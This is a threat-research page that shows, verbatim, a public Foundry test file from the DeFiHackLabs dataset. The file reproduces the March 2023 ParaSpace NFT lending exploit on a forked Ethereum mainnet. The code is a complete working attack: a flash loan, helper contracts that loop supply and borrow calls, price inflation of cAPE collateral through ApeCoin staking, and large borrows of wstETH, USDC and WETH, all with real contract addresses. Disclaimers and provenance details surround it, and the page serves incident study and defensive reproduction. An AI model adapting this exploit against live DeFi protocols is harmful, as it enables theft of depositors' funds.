Skip to content
THREATWIRE

Public reproduction file

src/test/2023-03/paraspace_exp.sol

Public reproduction file for dataset entry - ParaSpace NFT.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-03/paraspace_exp.sol283 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @Analysis
8// https://twitter.com/BlockSecTeam/status/1636650252844294144
9// @TX
10// https://etherscan.io/tx/0xe3f0d14cfb6076cabdc9057001c3fafe28767a192e88005bc37bd7d385a1116a
12contract ContractTest is Test {
13 address _pcAPE = 0xDDDe38696FBe5d11497D72d8801F651642d62353;
14 address _vDebtUSDC = 0x1B36ad30F6866716FF08EB599597D8CE7607571d;
15 address _vDebtwstETH = 0xCA76D6D905b08e3224945bFA0340E92CCbbE5171;
16 address _vDebtWETH = 0x87F92191e14d970f919268045A57f7bE84559CEA;
17 address _APE = 0x4d224452801ACEd8B2F0aebE155379bb5D594381;
18 address _USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
19 address _ParaProxy = 0x638a98BBB92a7582d07C52ff407D49664DC8b3Ee;
20 address _WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
21 address _wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
22 address _cAPE = 0xC5c9fB6223A989208Df27dCEE33fC59ff5c26fFF;
23 address _Apecoin__Staking = 0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9;
24 address _Uniswap_V3__Router = 0xE592427A0AEce92De3Edee1F18E0157C05861564;
25 address _proxy = 0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2;
27 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
29 function setUp() public {
30 cheats.createSelectFork("mainnet", 16_845_558);
31 cheats.label(0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0, "_wstETH");
32 cheats.label(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, "_WETH");
33 cheats.label(0xDDDe38696FBe5d11497D72d8801F651642d62353, "_pcAPE");
34 cheats.label(0x4d224452801ACEd8B2F0aebE155379bb5D594381, "_APE");
35 cheats.label(0x1B36ad30F6866716FF08EB599597D8CE7607571d, "_vDebtUSDC");
36 cheats.label(0xC5c9fB6223A989208Df27dCEE33fC59ff5c26fFF, "_cAPE");
37 cheats.label(0xCA76D6D905b08e3224945bFA0340E92CCbbE5171, "_vDebtwstETH");
38 cheats.label(0x87F92191e14d970f919268045A57f7bE84559CEA, "_vDebtWETH");
39 cheats.label(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48, "_USDC");
40 cheats.label(0x638a98BBB92a7582d07C52ff407D49664DC8b3Ee, "_ParaProxy");
41 cheats.label(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2, "_proxy");
42 cheats.label(0x5954aB967Bc958940b7EB73ee84797Dc8a2AFbb9, "_Apecoin__Staking");
43 cheats.label(0xE592427A0AEce92De3Edee1F18E0157C05861564, "_Uniswap_V3__Router");
44 }
46 function testExploit() external {
47 emit log_named_uint("Before exploit, _WETH balance of Attacker:", IERC20(_WETH).balanceOf(address(this)));
48 emit log_named_uint("Before exploit, _pcAPE balance of Exploit:", IERC20(_pcAPE).balanceOf(address(this)));
49 emit log_named_uint(
50 "Before exploit, _vDebtUSDC balance of Exploit:", IERC20(_vDebtUSDC).balanceOf(address(this))
51 );
52 emit log_named_uint(
53 "Before exploit, _vDebtWETH balance of Exploit:", IERC20(_vDebtWETH).balanceOf(address(this))
54 );
55 emit log_named_uint("Before exploit, _cAPE balance of Exploit:", IERC20(_cAPE).balanceOf(address(this)));
56 emit log_named_uint(
57 "Before exploit, _vDebtwstETH balance of Exploit:", IERC20(_vDebtwstETH).balanceOf(address(this))
58 );
60 // () -> ()
61 _proxy.call(
62 abi.encodePacked(
63 bytes4(0x42b0b77c),
64 abi.encode(address(this), _wstETH, uint256(47_352_823_905_004_708_422_332), new bytes(0), uint16(0))
65 )
66 );
68 emit log_named_uint("After exploit, _WETH balance of Attacker:", IERC20(_WETH).balanceOf(address(this)));
69 emit log_named_uint("After exploit, _pcAPE balance of Exploit:", IERC20(_pcAPE).balanceOf(address(this)));
70 emit log_named_uint(
71 "After exploit, _vDebtUSDC balance of Exploit:", IERC20(_vDebtUSDC).balanceOf(address(this))
72 );
73 emit log_named_uint(
74 "After exploit, _vDebtWETH balance of Exploit:", IERC20(_vDebtWETH).balanceOf(address(this))
75 );
76 emit log_named_uint("After exploit, _cAPE balance of Exploit:", IERC20(_cAPE).balanceOf(address(this)));
77 emit log_named_uint(
78 "After exploit, _vDebtwstETH balance of Exploit:", IERC20(_vDebtwstETH).balanceOf(address(this))
79 );
80 }
82 struct ExactInputSingleParams {
83 address tokenIn;
84 address tokenOut;
85 uint24 fee;
86 address recipient;
87 uint256 deadline;
88 uint256 amountIn;
89 uint256 amountOutMinimum;
90 uint160 sqrtPriceLimitX96;
91 }
93 struct ExactOutputSingleParams {
94 address tokenIn;
95 address tokenOut;
96 uint24 fee;
97 address recipient;
98 uint256 deadline;
99 uint256 amountOut;
100 uint256 amountInMaximum;
101 uint160 sqrtPriceLimitX96;
102 }
104 function executeOperation(
105 address asset,
106 uint256 amount,
107 uint256 premium,
108 address initiator,
109 bytes calldata params
110 ) public payable returns (bool) {
111 // approve(spender, amount) -> (bool _: true)
112 _cAPE.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_ParaProxy, type(uint256).max)));
114 for (uint256 i = 0; i < 8; i++) {
115 Slave _slave = new Slave();
116 if (i == 6) {
117 // transfer(recipient, amount) -> (bool _: true)
118 _wstETH.call(
119 abi.encodePacked(
120 bytes4(0xa9059cbb), abi.encode(address(_slave), uint256(3_676_225_912_400_376_673_786))
121 )
122 );
123 _slave.remove(1_120_000_000_000_000_000_000_000);
124 } else {
125 // transfer(recipient, amount) -> (bool _: true)
126 _wstETH.call(
127 abi.encodePacked(
128 bytes4(0xa9059cbb), abi.encode(address(_slave), uint256(6_039_513_998_943_475_964_078))
129 )
130 );
131 _slave.remove(1_840_000_000_000_000_000_000_000);
132 }
134 if (i != 7) {
135 // supply(asset, amount, onBehalfOf, referralCode) -> ()
136 _ParaProxy.call(
137 abi.encodePacked(
138 bytes4(0x617ba037),
139 abi.encode(_cAPE, IERC20(_cAPE).balanceOf(address(this)), address(this), uint256(0))
140 )
141 );
142 }
143 }
145 // approve(spender, amount) -> (bool _: true)
146 _wstETH.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_Uniswap_V3__Router, type(uint256).max)));
148 // exactInputSingle(ExactInputSingleParams calldata params) -> (uint256 amountOut) 1334451948153998962969
149 ExactInputSingleParams memory _var4 = ExactInputSingleParams({
150 tokenIn: _wstETH,
151 tokenOut: _WETH,
152 fee: 500,
153 recipient: address(this),
154 deadline: block.timestamp + 1000,
155 amountIn: 1_400_000_000_000_000_000_000,
156 amountOutMinimum: 1_300_000_000_000_000_000_000,
157 sqrtPriceLimitX96: 0
158 });
159 _Uniswap_V3__Router.call(abi.encodePacked(bytes4(0x414bf389), abi.encode(_var4)));
161 // approve(spender, amount) -> (bool _: true)
162 _WETH.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_Uniswap_V3__Router, type(uint256).max)));
164 // exactInputSingle(ExactInputSingleParams calldata params) -> (uint256 amountOut) 492214464588784613678468
165 ExactInputSingleParams memory _var6 = ExactInputSingleParams({
166 tokenIn: _WETH,
167 tokenOut: _APE,
168 fee: 3000,
169 recipient: address(this),
170 deadline: block.timestamp + 1000,
171 amountIn: IERC20(_WETH).balanceOf(address(this)),
172 amountOutMinimum: 480_000_000_000_000_000_000_000,
173 sqrtPriceLimitX96: 0
174 });
175 _Uniswap_V3__Router.call(abi.encodePacked(bytes4(0x414bf389), abi.encode(_var6)));
177 // withdraw(amount) -> ()
178 _cAPE.call(abi.encodePacked(bytes4(0x2e1a7d4d), abi.encode(IERC20(_cAPE).balanceOf(address(this)))));
180 // approve(spender, amount) -> (bool _: true)
181 _APE.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_Apecoin__Staking, type(uint256).max)));
183 // depositApeCoin(amount,recipient) -> ()
184 _Apecoin__Staking.call(
185 abi.encodePacked(bytes4(0xbd5023a9), abi.encode(IERC20(_APE).balanceOf(address(this)), _cAPE))
186 );
188 // approve(spender, amount) -> (bool _: true)
189 _cAPE.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_ParaProxy, type(uint256).max)));
191 // borrow(asset, amount, referralCode, onBehalfOf) -> ()
192 _ParaProxy.call(
193 abi.encodePacked(
194 bytes4(0x1d5d7237),
195 abi.encode(_wstETH, uint256(44_952_823_905_004_708_422_332), uint256(0), address(this))
196 )
197 );
199 // borrow(asset, amount, referralCode, onBehalfOf) -> ()
200 _ParaProxy.call(
201 abi.encodePacked(
202 bytes4(0x1d5d7237), abi.encode(_USDC, uint256(7_200_000_000_000), uint256(0), address(this))
203 )
204 );
206 // borrow(asset, amount, referralCode, onBehalfOf) -> ()
207 _ParaProxy.call(
208 abi.encodePacked(
209 bytes4(0x1d5d7237), abi.encode(_WETH, uint256(1_200_000_000_000_000_000_000), uint256(0), address(this))
210 )
211 );
213 // approve(spender, amount) -> (bool _: true)
214 _USDC.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_Uniswap_V3__Router, type(uint256).max)));
216 // exactInputSingle(ExactInputSingleParams calldata params) -> (uint256 amountOut)
217 ExactInputSingleParams memory _var9 = ExactInputSingleParams({
218 tokenIn: _USDC,
219 tokenOut: _WETH,
220 fee: 500,
221 recipient: address(this),
222 deadline: block.timestamp + 1000,
223 amountIn: IERC20(_USDC).balanceOf(address(this)),
224 amountOutMinimum: 4_042_105_262,
225 sqrtPriceLimitX96: 0
226 });
227 _Uniswap_V3__Router.call(abi.encodePacked(bytes4(0x414bf389), abi.encode(_var9)));
229 // approve(spender, amount) -> (bool _: true) --- TOTAL DEBT TO PAY THE LOAN
230 _wstETH.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_proxy, uint256(47_376_500_316_957_210_776_543))));
232 // exactOutputSingle(ExactOutputSingleParams calldata params) -> (uint256 amountOut)
233 ExactOutputSingleParams memory _var11 = ExactOutputSingleParams({
234 tokenIn: _WETH,
235 tokenOut: _wstETH,
236 fee: 500,
237 recipient: address(this),
238 deadline: block.timestamp + 1000,
239 amountOut: 47_376_500_316_957_210_776_543 - IERC20(_wstETH).balanceOf(address(this)),
240 amountInMaximum: 2_675_071_643_612_383_606_774,
241 sqrtPriceLimitX96: 0
242 });
243 _Uniswap_V3__Router.call(abi.encodePacked(bytes4(0xdb3e2198), abi.encode(_var11)));
245 // true
246 return true;
247 }
249 receive() external payable {}
252contract Slave {
253 address _wstETH = 0x7f39C581F595B53c5cb19bD0b3f8dA6c935E2Ca0;
254 address _cAPE = 0xC5c9fB6223A989208Df27dCEE33fC59ff5c26fFF;
255 address _ParaProxy = 0x638a98BBB92a7582d07C52ff407D49664DC8b3Ee;
257 constructor() {
258 // approve(spender, amount) -> (bool _: true)
259 (, bytes memory returned0) =
260 _wstETH.call(abi.encodePacked(bytes4(0x095ea7b3), abi.encode(_ParaProxy, type(uint256).max)));
261 bool _var0 = abi.decode(returned0, (bool));
262 }
264 function remove(
265 uint256 _amountOfShares
266 ) public payable {
267 // supply(asset, amount, onBehalfOf, referralCode) -> ()
268 _ParaProxy.call(
269 abi.encodePacked(
270 bytes4(0x617ba037),
271 abi.encode(_wstETH, IERC20(_wstETH).balanceOf(address(this)), address(this), uint256(0))
272 )
273 );
275 // borrow(asset, amount, referralCode, onBehalfOf) -> ()
276 _ParaProxy.call(
277 abi.encodePacked(bytes4(0x1d5d7237), abi.encode(_cAPE, uint256(_amountOfShares), uint256(0), address(this)))
278 );
280 // transfer(recipient, amount) -> (bool _: true)
281 _cAPE.call(abi.encodePacked(bytes4(0xa9059cbb), abi.encode(msg.sender, IERC20(_cAPE).balanceOf(address(this)))));
282 }

Analysis

Dataset entry

Public Foundry test for “- ParaSpace NFT” (2023-03-17). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

8 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

File record

Name
ParaSpace NFT
Path
src/test/2023-03/paraspace_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
b5b4f4492c251b03ed4bb8844f3d9c3d2b9ad437
Language
Solidity
Size
284 lines
Date
2023-03-17
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-03/paraspace_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob b5b4f4492c251b03ed4bb8844f3d9c3d2b9ad437, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.